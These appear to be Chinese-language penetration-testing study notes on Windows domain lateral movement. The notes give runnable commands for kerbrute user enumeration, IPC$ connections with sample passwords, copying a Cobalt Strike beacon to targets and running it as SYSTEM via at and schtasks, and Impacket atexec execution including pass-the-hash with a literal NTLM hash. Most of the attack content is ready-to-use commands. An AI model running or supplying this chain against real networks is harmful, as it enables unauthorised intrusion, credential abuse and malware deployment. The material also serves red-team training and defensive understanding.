内网对抗-横向移动篇&入口差异&切换上线&IPC管道&AT&SC任务&Impacket套件&UI插件
➢ 横向移动-域内域外-枚举用户&切换用户
➢ 横向移动-IPC管道-命令连接&计划任务
➢ 横向移动-IPC管道-Impacket工具套件
#横向移动入口知识点:
收集到域内用户和凭据后,为后续利用各种协议密码喷射通讯上线提供条件,如果当前被控机在域内还是域外,收集方法会有所差异,具体看演示及讲解。
1、当前被控处于域内还是域外
-在域内
获取域内用户及凭据
-不在域内
获取域内用户(枚举)及凭据
https://github.com/ropnop/kerbrute
kerbrute_windows_amd64.exe userenum --dc ip -d 域名 字典文件
切换到域内用户(提权system用户或切换到域内用户)
条件:获取到域内用户及凭据
2、当前凭据为明文密码还是HASH
Minikatz
当系统为win10或者2012R2以上,内存中默认禁止缓存明文密码
可通过修改注册表的方式进行抓取,但需重启后重新登录时才能抓取。
#横向移动凭据知识点:
IPC域内移动测试:
IPC$(Internet Process Connection)是共享"命名管道"的资源,它是一个用于进程间通信的开放式命名管道,通过提供一个可信的用户名和密码,连接双方可以建立一个安全通道并通过这个通道交换加密数据,从而实现对远程计算机的访问。需要使用目标系统用户的账号密码,使用139、445端口。
1. 建立IPC链接到目标主机
2. 拷贝要执行的命令脚本到目标主机
3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
4. 删除IPC链接
#建立IPC失败的原因
(1)目标系统不是NT或以上的操作系统
(2)对方没有打开IPC$共享
(3)对方未开启139、445端口,或者被防火墙屏蔽
(4)输出命令、账号密码有错误
0、上线配置
正向:
beacon_bind_tcp->beacon.exe
connect 192.168.3.32 4444
反向:
代理转发->转发上线->beacon.exe
1、IPC$利用命令:
net use \\server\ipc$ "password" /user:计算机名\username # 工作组
net use \\server\ipc$ "password" /user:域名\username #域内
dir \\xx.xx.xx.xx\C$\ # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件
copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del # 删除IPC
net view xx.xx.xx.xx # 查看对方共享
*需要添加计算机名 才能确保登入的位置是域内还是域外
域内用户权限测试:webadmin权限
net use \\192.168.3.32\ipc$ "admin!@#45" /user:sqlserver\administrator
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god\dbadmin
net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator
理解为登录域里的administrator而不是登录目标的administrator用户
域外用户权限测试:administrator权限
net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator
//登录本机administrator用户
net use \\192.168.3.32\ipc$ "admin!@#45" /user:sqlserver\administrator
//登录sqlserver机器的administrator用户
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god\dbadmin
//登录god域的administrator用户
防火墙开启入站阻止入站测试
防火墙开启入站放行入站测试
[at] & [schtasks]计划任务配合
1、at < Windows2012
copy beacon.exe \\192.168.3.21\c$ #拷贝执行文件到目标机器
at \\192.168.3.21 15:47 c:\beacon.exe #添加计划任务(15:47 这是目标主机的当前执行脚本时间)
2、schtasks >=Windows2012 -----使用SPN工具可以获取到系统的
copy beacon.exe \\192.168.3.32\c$ #拷贝执行文件到目标机器
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\beacon.exe /F #创beacon任务对应执行文件
schtasks /run /s 192.168.3.32 /tn beacon /i #运行beacon任务
schtasks /delete /s 192.168.3.32 /tn beacon /f#删除beacon任务
补充:
#建立IPC常见的错误代码
(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(2)51:网络问题,Windows 无法找到网络路径
(3)53:找不到网络路径,可能是IP地址错误、目标未开机、目标Lanmanserver服务未启动、有防火墙等问题
(4)67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$
(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立IPC$,需要先删除
(6)1326:账号密码错误
(7)1792:目标NetLogon服务未启动,连接域控常常会出现此情况
(8)2242:用户密码过期,目标有账号策略,强制定期更改密码
#域横向移动-IPC-工具版-插件&impacket
1、CS插件LSTARS-横向移动-IPC连接
采用默认命令调用执行,不需socks代理
2、impacket(套件)
该工具是一个半交互的横向移动工具,适用于Socks代理下;(将内网被控主机进行socks开放连接,在使用进程转发工具进行转发到内网端口)
https://github.com/fortra/impacket
python atexec.py god/administrator:Admin12345@192.168.3.21 "ver"
python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami" ---- 可以使用hash进行登入执行
获取后怎样执行操作
第一种方法
让目标主机下载后门执行后门上线
第二种方法
使用powershell 无文件落地上线
3、其他UI工具:(暂时用不到)
https://mp.weixin.qq.com/s/L3uzzAAziZd1y3qNmADfoQ
#IPC非域内移动测试分析